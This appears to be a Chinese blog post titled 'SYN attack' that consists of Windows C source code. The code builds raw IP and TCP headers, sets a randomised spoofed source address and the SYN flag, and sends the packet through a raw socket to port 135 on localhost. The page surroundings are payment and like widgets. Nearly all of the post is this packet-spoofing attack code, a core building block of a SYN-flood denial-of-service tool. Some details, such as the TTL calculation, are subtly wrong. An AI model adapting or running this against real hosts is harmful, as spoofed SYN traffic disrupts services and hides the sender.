SYN攻击

#include <winsock2.h>
#include <ws2tcpip.h>
#include <string.h>
#include <stdio.h>

#pragma comment(lib,"WS2_32.LIB")

typedef struct tag_ipheader   //ip首部
{
 unsigned char ip_verlen;  //4位版本号|4位首部长度
 unsigned char ip_tos;   //ip服务类型
 unsigned short ip_totallength; //总长度
 unsigned short ip_id;   //标识符
 unsigned short ip_offset;  //3位标志--13位分片偏移
 unsigned char ip_ttl;   //生存时间
 unsigned char ip_protocol;  //协议
 unsigned short ip_checksum;  //首部检查和
 unsigned int ip_srcaddr;  //源ip地址
 unsigned int ip_destaddr;  //目的ip地址
}IPHEADER;

typedef struct tag_tcpheadr
{
 USHORT tcp_sport;    //源端口
 USHORT tcp_dport;    //目的端口
 unsigned int tcp_seq;   //32位系列号
 unsigned int tcp_ack;   //32位确认号
 unsigned char tcp_lenres;  //4位首部长度
 unsigned char tcp_flag;   //6位标志位
 USHORT tcp_win;     //16位窗口
 USHORT tcp_sum;     //16位校验和
 USHORT tcp_urp;
}TCPHEADER;

typedef struct tag_psdheader
{
 unsigned long saddr;   //源地址
 unsigned long daddr;   //目的地址
 char mbz;
 char ptcl;      //协议类型
 unsigned short tcpl;   //tcp长度
}PSDHEADER;

USHORT checksum(USHORT *buffer,int size)
{
 unsigned long cksum=0;
 while(size>1)
 {
  cksum = cksum + *buffer++;
  size = size - sizeof(USHORT);
 }
 if(size)
 {
  cksum = cksum + *(UCHAR*)buffer;
 }
 cksum = (cksum >> 16) + (cksum & 0xffff);
 cksum = cksum + (cksum >> 16);
 return (USHORT)(~cksum);
}
int main(int argc,char *argv[])
{
 char ip[] = "127.0.0.1";
 WSADATA WSAData;
 if(WSAStartup(MAKEWORD(2,2),&WSAData))
  return 1;
 SOCKET sock;
 sockaddr_in sock_addr;
 if((sock =socket(AF_INET,SOCK_RAW,IPPROTO_IP))==INVALID_SOCKET)
 {
  printf("socket");
  return 1;
 }
 BOOL flag=true;
 if(setsockopt(sock,IPPROTO_IP,IP_HDRINCL,(char*)&flag,sizeof(flag))==INVALID_SOCKET)
 {
  printf("flag");
  return 1;
 }
 int time=888;
 if(setsockopt(sock,SOL_SOCKET,SO_SNDTIMEO,(char*)&time,sizeof(time))==INVALID_SOCKET)
 {
  printf("time");
  return 1;
 }

 sock_addr.sin_family = AF_INET;
 sock_addr.sin_port = htons(135);
 sock_addr.sin_addr.S_un.S_addr = inet_addr("127.0.0.1");

 TCPHEADER tcpHeader;
 IPHEADER ipHeader;
 PSDHEADER psdHeader;

 ipHeader.ip_verlen =(4<<4 | sizeof(ipHeader)/sizeof(unsigned long)); 
 ipHeader.ip_tos = 0;
 ipHeader.ip_totallength = htons(sizeof(ipHeader)+sizeof(tcpHeader));
 ipHeader.ip_id = 1;
 ipHeader.ip_offset = 0;
 ipHeader.ip_ttl =(unsigned char)GetTickCount()%514+620;
 ipHeader.ip_protocol = IPPROTO_TCP;
 ipHeader.ip_checksum = 0;
 ipHeader.ip_srcaddr = htonl(GetTickCount()*1986);
 ipHeader.ip_destaddr = inet_addr(ip);

 tcpHeader.tcp_dport = htons(135);
 tcpHeader.tcp_sport = htons(1986);
 tcpHeader.tcp_seq = htonl(0x12345678);
 tcpHeader.tcp_ack = 0;
 tcpHeader.tcp_lenres = (sizeof(tcpHeader)/4 << 4|0);
 tcpHeader.tcp_flag = 2;
 tcpHeader.tcp_win = htons(232);
 tcpHeader.tcp_sum = 0;
 tcpHeader.tcp_urp = 0;

 psdHeader.saddr = ipHeader.ip_srcaddr;
 psdHeader.daddr = ipHeader.ip_destaddr;
 psdHeader.mbz = 0;
 psdHeader.ptcl = IPPROTO_TCP;
 psdHeader.tcpl = htons(sizeof(tcpHeader));

 char buff[100];
 memset(buff,0x0,sizeof(buff));
 memcpy(buff,&psdHeader,sizeof(psdHeader));
 memcpy(buff+sizeof(psdHeader),&tcpHeader,sizeof(tcpHeader));
 tcpHeader.tcp_sum = checksum((USHORT*)buff,sizeof(psdHeader)+sizeof(tcpHeader));
 memcpy(buff,&ipHeader,sizeof(ipHeader));
 memcpy(buff+sizeof(ipHeader),&tcpHeader,sizeof(tcpHeader));

 int syn = sendto(sock,buff,sizeof(ipHeader)+sizeof(tcpHeader),0,(struct sockaddr far*)&sock_addr,sizeof(sock_addr));
 if(syn == SOCKET_ERROR)
  printf("error");
 else
  printf("ok");
 return 0;
}

  • 0
    点赞
  • 0
    收藏
    觉得还不错? 一键收藏
  • 0
    评论
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值